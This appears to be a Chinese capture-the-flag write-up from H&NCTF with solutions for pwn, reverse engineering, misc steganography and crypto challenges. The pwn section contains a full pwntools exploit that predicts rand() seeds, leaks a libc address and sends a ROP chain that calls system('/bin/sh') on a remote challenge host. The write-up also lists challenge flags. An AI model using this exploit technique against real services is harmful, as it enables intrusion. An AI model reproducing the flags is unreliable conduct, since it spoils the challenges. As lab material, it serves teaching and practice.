Stripped: No

有libc可以用密码库生成和服务器一样的随机数绕过第一个随机数检查,第二个随机数种子固定可以直接本地生成一次记录下来然后绕过,最后进入func函数泄露libc基址即可

exp

from pwn import *
import ctypes
context(os='linux',arch='amd64',log_level='debug')
io=remote('27.25.151.198',40324)
elf = ELF('./pwn')
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
#io = process('./pwn')
libc=ctypes.CDLL("./libc.so.6")

io.recvuntil(b"game1 begin\n")


seed=libc.time(0)
libc.srand(seed)
v5=libc.rand()

libc.srand(v5%5-44174237)
for i in range(55):
tmp=libc.rand()%4+1
io.sendlineafter(b'good!',str(tmp))

io.recvuntil(b'game2 begin\n')
libc.srand(8)
for i in range(55):
tmp=libc.rand()%4+8
io.sendlineafter(b'good!',str(tmp))

pop_rdi = 0x0000000000401483
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
func = 0x40121F
payload = b'a'*0x38 + p64(pop_rdi) + p64(elf.got['read']) + p64(puts_plt) + p64(func)

io.recvuntil(b'young man.')
io.sendline(payload)
libc=ELF('./libc.so.6')
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))

system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
pop_rdx_rbx = libc_base + 0x00000000000904a9
pop_rsi_r15 =0x0000000000401481
ret = 0x000000000040101a
payload = b'a'*0x38+p64(pop_rdi)+p64(bin_sh)+p64(pop_rdx_rbx)+p64(0)+p64(0)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(ret)+p64(system)
io.sendline(payload)

io.interactive()

RE

签到re

豆包一把梭

import hashlib
import struct

# 目标密文
target_ciphertext = bytes([
0x00, 0x00, 0x00, 0x25, 0x0C, 0xE2, 0x70, 0x89, 0x98, 0xB2, 0xBB,
0xE4, 0x94, 0xA0, 0x95, 0xAC, 0x38, 0x92, 0x22, 0xF8, 0x0E, 0x7B,
0x76, 0x1A, 0x66, 0xC8, 0x03, 0x05, 0x2E, 0x7D, 0xA1, 0x04, 0x3D,
0xC0, 0x62, 0xFE, 0x66, 0x67, 0x02, 0x87, 0x81, 0xF4, 0x00, 0x00
])

# 密钥
key = b"MySecretKey123!"

def derive_key(key):
# 计算SHA256哈希
sha256 = hashlib.sha256(key).digest()

# 按照伪代码中的方式构造a3
# 注意:这里使用了伪代码中的位操作逻辑
v4 = sha256[0]
v5 = int.from_bytes(sha256[1:3], 'little')
v6 = sha256[3]

# 构造a3
a3 = (v4 | 1) | ((v5 & 0xFEFE) << 8) | ((v6 | 1) << 24)
return a3

def decrypt_block(cipher_block, a3):
# 提取字节
c0, c1 = cipher_block[0], cipher_block[1]

# 提取a3的各个字节
b0 = a3 & 0xFF
b1 = (a3 >> 8) & 0xFF
b2 = (a3 >> 16) & 0xFF
b3 = (a3 >> 24) & 0xFF

# 计算行列式的逆(模256)
det = (b0 * b3 - b1 * b2) % 256
det_inv = pow(det, -1, 256) # 计算模逆元

# 解密公式推导
p0 = ((c0 * b3 - c1 * b1) * det_inv) % 256
p1 = ((c1 * b0 - c0 * b2) * det_inv) % 256

return bytes([p0, p1])

def decrypt(ciphertext, a3):
# 提取原始长度
n_bytes = ciphertext[:4]
n = struct.unpack('<I', n_bytes)[0]

# 解密剩余部分
decrypted = bytearray()
cipher_blocks = ciphertext[4:]

for i in range(0, len(cipher_blocks), 4):
block1 = cipher_blocks[i:i+2]
block2 = cipher_blocks[i+2:i+4]

decrypted_block1 = decrypt_block(block1, a3)
decrypted_block2 = decrypt_block(block2, a3)

decrypted.extend(decrypted_block1)
decrypted.extend(decrypted_block2)

# 返回原始长度的明文
return decrypted[:n]

# 执行解密
a3 = derive_key(key)
plaintext = decrypt(target_ciphertext, a3)

print("解密结果:", plaintext.decode('ascii', errors='replace'))
#H&NCTF{840584fb08a26f01c471054628e451}

Misc

签到and签退

1

星辉骑士

拖随波逐流发现有个flag.zip,将docx改为zip找到flag.zip,里面九个txt内容,在线网站解密

spammimic - decode

1:ashjdsahd
2:asdjhuasdvghj
3:sdfsdfsfasfwq
4:asdasdadadadwdf
5:flag{this_is_fake_lg}
6:flag{this_is_fake_flg}
7:flag{this_is_fakeg}
8:flag{this_is_fake_flag}
9:flag{0231265452-you-kn*w-spanmimic}

H&NCTF{0231265452-you-kn*w-spanmimic}

CRYPTO

lcgp

from Crypto.Util.number import long_to_bytes
import gmpy2
from sympy.ntheory import discrete_log

# Given data
random = [
11250327355112956284720719987943941825496074893551827972877616718074592862130806975889275745497426515405562887727117008818863728803549848574821067056997423443681347885027000632462241968640893471352200125748453396098854283137158609264944692129301617338233670002547470932851350750870478630955328653729176440142198779254117385657086615711880537380965161180532127926250520546846863536247569437,
1289730679860726245234376434590068355673648326448223956572444944595048952808106413165882424967688302988257332835229651422892728384363094065438370663362237241013242843898967355558977974152917458085812489310623200114007728021151551927660975648884448177346441902806386690751359848832912607313329587047853601875294089502467524598036474193845319703759478494109845743765770254308199331552085163360820459311523382612948322756700518669154345145757700392164795583041949318636,
147853940073845086740348793965278392144198492906678575722238097853659884813579087132349845941828785238545905768867483183634111847434793587821166882679621234634787376562998606494582491550592596838027522285263597247798608351871499848571767008878373891341861704004755752362146031951465205665840079918938797056361771851047994530311215961536936283541887169156535180878864233663699607369701462321037824218572445283037132205269900255514050653933970174340553425147148993214797622395988788709572605943994223528210919230924346860415844639247799805670459,
7426988179463569301750073197586782838200202717435911385357661153208197570200804485303362695962843396307030986052311117232622043073376409347836815567322367321085387874196758434280075897513536063432730099103786733447352512984165432175254784494400699821500026196293994318206774720213317148132311223050562359314735977091536842516316149049281012797103790472349557847649282356393682360276814293256129426440381745354969522053841093229320186679875177247919985804406150542514337515002645320320069788390314900121917747534146857716743377658436154645197488134340819076585888700553005062311578963869641978771532330577371974731136,
10389979373355413148376869524987139791217158307590828693700943753512488757973725227850725013905113587408391654379552713436220790487026223039058296951420273907725324214990441639760825661323514381671141482079783647253661594138658677104054180912818864005556386671430082941396497098166887200556959866845325602873713813206312644590812141400536476615405444030140762980665885244721798105034497461675317071497925846844396796854201566038890503298824928152263774446268093725702310124363765630370263370678902342200494544961012407826314577564991676315451785987248633724138137813024481818431889574317602521878974976264742037227074
]
n = 604805773885048132038788501528078428693141138274580426531445179173412328238102786863592612653315029009606622583856638282837864213048342883583286440071990592001905867027978355755042060684149344414810835371740304319571184567860694439564098306766474576403800046937218588251809179787769286393579687694925268985445059
e = 2024

# Step 1: Recover LCG parameters (a, b, m)
def recover_m(s):
diffs = [s1 - s0 for s0, s1 in zip(s, s[1:])]
multiples = [t0*t2 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
m = multiples[0]
for num in multiples[1:]:
m = gmpy2.gcd(m, num)
return m

m = recover_m(random)
print("Recovered m:", m)
print("Bit length of m:", m.bit_length())

# Now recover a and b
s0, s1, s2 = random[0], random[1], random[2]
a = (s2 - s1) * gmpy2.invert(s1 - s0, m) % m
b = (s1 - a * s0) % m

print("Recovered a:", a)
print("Recovered b:", b)

# Step 2: Recover the initial seed (c) by reversing the LCG
# The first output is s0 = (a*c + b) mod m
c = (random[0] - b) * gmpy2.invert(a, m) % m
print("Recovered c:", c)

# Step 3: Solve c = e^flag mod n, where e = 2024
# First check if e and n are coprime
g = gmpy2.gcd(e, n)
if g != 1:
print(f"Warning: e and n are not coprime, gcd(e, n) = {g}")
# In this case, we might need to handle it differently
# But since n is supposed to be prime (getPrime(1024)), this shouldn't happen
# Unless n is actually 2024 (which it's not, as we can see)
# So we'll proceed with the assumption that g = 1

# Try sympy's discrete_log first
try:
print("\nAttempting discrete log with sympy...")
flag = discrete_log(n, c, e)
print("Discrete log successful!")
print("Flag (long):", flag)
print("Flag (bytes):", long_to_bytes(flag))
except Exception as ex:
print("Sympy discrete_log failed:", ex)
print("\nAttempting alternative approaches...")

# Alternative approach: brute-force small exponents
print("Trying brute-force for small exponents...")
max_tries = 100000
found = False
for k in range(1, max_tries + 1):
if pow(e, k, n) == c:
print("Found flag with brute-force:")
print("Flag (long):", k)
print("Flag (bytes):", long_to_bytes(k))
found = True
break
if not found:
print(f"Brute-force failed after {max_tries} tries.")

# Another approach: check if c can be directly converted to bytes
print("\nChecking if c can be directly converted to flag...")
try:
potential_flag = long_to_bytes(c)
if b'H&NCTF{' in potential_flag:
print("Found flag in c directly:")
print("Flag:", potential_flag.decode())
else:
print("c doesn't contain flag directly:", potential_flag)
except:
print("Couldn't convert c to bytes")

# If none of the above worked, suggest using SageMath
print("\nIf all attempts failed, try using SageMath for discrete log:")
print(f"flag = discrete_log(Mod({c}, {n}), Mod({e}, {n}))")

image-20250607220248805

H&NCTF{7ecf4c8c-e6a5-45c7-b7de-2fecc31d8511}

flag{临汾市新城镇解村}